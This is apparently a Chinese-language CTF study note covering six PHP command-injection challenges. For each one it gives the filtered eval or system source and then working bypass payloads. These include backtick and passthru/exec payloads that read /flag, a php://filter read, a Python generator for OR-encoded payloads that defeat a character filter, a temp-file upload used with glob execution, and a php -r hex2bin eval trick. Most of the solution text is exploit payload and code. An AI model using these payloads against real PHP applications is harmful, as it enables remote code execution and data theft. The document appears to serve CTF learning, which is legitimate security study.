本文记录一些学习中觉得很有趣的经典题型
第一题
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
解法
这道题有两种思路,第一种是硬绕,第二种是定义新变量
?c=echo%09`tac%09/f*`; ?c=passthru($_GET[a]);&a=cat /flag ?c=exec($_GET[a],$b);echo%09implode("\n",$b);&a=cat%20/flag ?c=exec($_GET[a],$b);echo%09var_dump($b);&a=cat%20/flag
知识点
1.linux中空格绕过的方法
%0a、%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>(需要写的权限)、%20(space)等
2.cat命令代替
cat、tac、more、less、head、tail、nl、sort、uniq、rev、base64、xxd
3.php中可以命令执行的函数
system、exec、shell_exec、proc_open、popen、passthru
第二题
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
解法
分号、反引号、括号都被过滤
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=/flag
知识点
1.eval中可以以?>来结束php代码,可以试试运行下面代码
<?php $code = 'echo "hello world"?>'; eval($code);
2.php伪协议
第三题
flag在当前目录的flag.php中
<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
解法
?c=highlight_file(array_rand(array_flip(scandir(dirname(__FILE__))))); ?c=highlight_file(array_rand(array_flip(scandir(dirname(pos(localeconv()))))));
知识点
这道题考到多个php函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) current() :返回数组中的当前元素的值;默认取第一个值 pos():current() 的别名 reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。 array_flip() 交换数组的键和值 array_rand() 随机返回一个数组 scandir():列出指定路径中的文件和目录 next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。
第四题
<?php if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?>
解法
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
知识点
1.通过|构造字符执行命令
用其他师傅写的python脚本生成
import re import urllib from urllib import parse hex_i = "" hex_j = "" pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i' str1=["system","cat flag.php"] for p in range(2): t1 = "" t2 = "" for k in str1[p]: for i in range(256): for j in range(256): if re.search(pattern,chr(i)) : break if re.search(pattern,chr(j)) : continue if i < 16: hex_i = "0" + hex(i)[2:] else: hex_i=hex(i)[2:] if j < 16: hex_j="0"+hex(j)[2:] else: hex_j=hex(j)[2:] hex_i='%'+hex_i hex_j='%'+hex_j c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j))) if(c ==k): t1=t1+hex_i t2=t2+hex_j break else: continue break print("(\""+t1+"\"|\""+t2+"\")")
2.php7允许(system)(‘ls’)这样来执行命令
第五题
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
解法
首先上传一个php文件到服务器
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://192.168.239.141/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
然后修改内容为你要执行命令的sh脚本
最后使用/?c=.+/???/????????[@-[]
来执行脚本,具体可以参考p神文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
知识点
1.只要是php网站,通过post上传php文件后,在服务器的/tmp/目录下会生成临时文件
2.linux支持glob通配符匹配文件
3.linux中.
可以不需要文件有执行权限,可以直接执行
第六题
<?php ini_set('open_basedir', '/usr/local/nginx/html'); error_reporting(0); if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } } show_source(__FILE__); ?>
解法
仔细观察过滤就会发现没有过滤php
,可以利用php进行任意代码执行
打印得到十六进制
<?php $a = 'echo `cat flag.php`;'; $b = bin2hex($a); echo $b ?>
然后post数据发送
因为单引号被过滤,直接写hex2bin(s6563686f206063617420666c61672e706870603b)会报错,所以使用substr函数进行字符串截取,在php中,substr 会将其视为一个未定义的常量(s6563686f206063617420666c61672e706870603b),并在找不到常量定义时将其作为字符串处理(PHP 的“宽松”特性)
cmd=php -r eval(hex2bin(substr(s6563686f206063617420666c61672e706870603b,1)));
知识点
1.php -r参数可以执行任意php代码
2.php中的substr可以利用php特性绕过单引号过滤